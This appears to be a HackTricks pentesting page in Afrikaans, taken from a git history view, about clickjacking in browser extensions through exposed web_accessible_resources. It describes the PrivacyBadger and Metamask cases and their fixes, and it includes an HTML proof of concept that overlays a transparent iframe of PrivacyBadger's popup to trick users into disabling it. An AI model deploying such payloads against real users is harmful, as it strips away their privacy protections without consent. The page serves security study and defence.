hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

126 lines
7.3 KiB
Markdown
Raw Normal View History

# BrowExt - Klieklok
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
Hierdie bladsy gaan 'n Klieklok-kwesbaarheid in 'n Blaaier-uitbreiding misbruik.\
As jy nie weet wat Klieklok is nie, kyk:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
Uitbreidings bevat die lêer **`manifest.json`** en daardie JSON-lêer het 'n veld `web_accessible_resources`. Hier is wat [die Chrome-dokumentasie](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) daaroor sê:
> Hierdie bronne sal dan beskikbaar wees in 'n webbladsy via die URL **`chrome-extension://[PAKKET-ID]/[PAD]`**, wat gegenereer kan word met die **`extension.getURL-metode`**. Toegelate bronne word bedien met toepaslike CORS-koppe, sodat hulle beskikbaar is via meganismes soos XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
2024-02-11 02:07:06 +00:00
Die **`web_accessible_resources`** in 'n blaaier-uitbreiding is nie net toeganklik via die web nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken dat hulle die vermoë het om:
2024-02-06 03:10:38 +00:00
* Verander die uitbreiding se toestand
* Laai addisionele bronne
* Interageer met die blaaier tot 'n sekere mate
2024-02-06 03:10:38 +00:00
Hierdie kenmerk bied egter 'n veiligheidsrisiko. As 'n bron binne **`web_accessible_resources`** enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie bron in 'n eksterne webbladsy insluit. Onvermoedende gebruikers wat hierdie bladsy besoek, kan hierdie ingeslote bron per ongeluk aktiveer. So 'n aktivering kan tot onbedoelde gevolge lei, afhangende van die toestemmings en vermoëns van die uitbreiding se bronne.
2024-02-11 02:07:06 +00:00
## PrivacyBadger Voorbeeld
In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband hou met die `skin/`-gids wat op die volgende wyse as `web_accessible_resources` verklaar is (Kyk na die oorspronklike [blogpos](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
2024-02-11 02:07:06 +00:00
"skin/*",
"icons/*"
]
```
Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat weergegee word na interaksie met die PrivacyBadger-ikoon in die webblaaier, kon binne 'n `iframe` ingesluit word. Hierdie insluiting kon uitgebuit word om gebruikers te mislei om per ongeluk op "Deaktiveer PrivacyBadger vir hierdie webwerf" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger-beskerming te deaktiveer en moontlik die gebruiker aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie aanval kan besigtig word in 'n ClickJacking-video voorbeeld wat verskaf word by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van `/skin/*` van die lys van `web_accessible_resources`. Hierdie verandering het die risiko doeltreffend verminder deur te verseker dat die inhoud van die `skin/` gids nie deur web-toeganklike bronne geopen of gemanipuleer kon word nie.
Die regstelling was maklik: **verwyder `/skin/*` van die `web_accessible_resources`**.
### PoC
```html
2024-02-06 03:10:38 +00:00
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
2024-02-11 02:07:06 +00:00
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
2024-02-11 02:07:06 +00:00
float: top;
position: absolute;
}
button {
2024-02-11 02:07:06 +00:00
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
2024-02-11 02:07:06 +00:00
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
2024-02-11 02:07:06 +00:00
## Metamask Voorbeeld
'n [**Blogpos oor 'n ClickJacking in Metamask kan hier gevind word**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In hierdie geval het Metamask die kwesbaarheid reggestel deur te kontroleer dat die protokol wat gebruik word om dit te benader, **`https:`** of **`http:`** was (nie **`chrome:`** byvoorbeeld):
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
**'n Ander ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers kon **Klik om te witlys** wanneer 'n bladsy verdag van vishing was weens `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy vatbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaals te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die vishing-bladsy wat gewitlys sal wees.
2024-02-11 02:07:06 +00:00
## Steam Inventory Helper Voorbeeld
Kyk na die volgende bladsy om te sien hoe 'n **XSS** in 'n blaaieruitbreiding gekoppel was aan 'n **ClickJacking**-kwesbaarheid:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
2024-02-11 02:07:06 +00:00
## Verwysings
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
2024-02-06 03:10:38 +00:00
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-11 02:07:06 +00:00
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>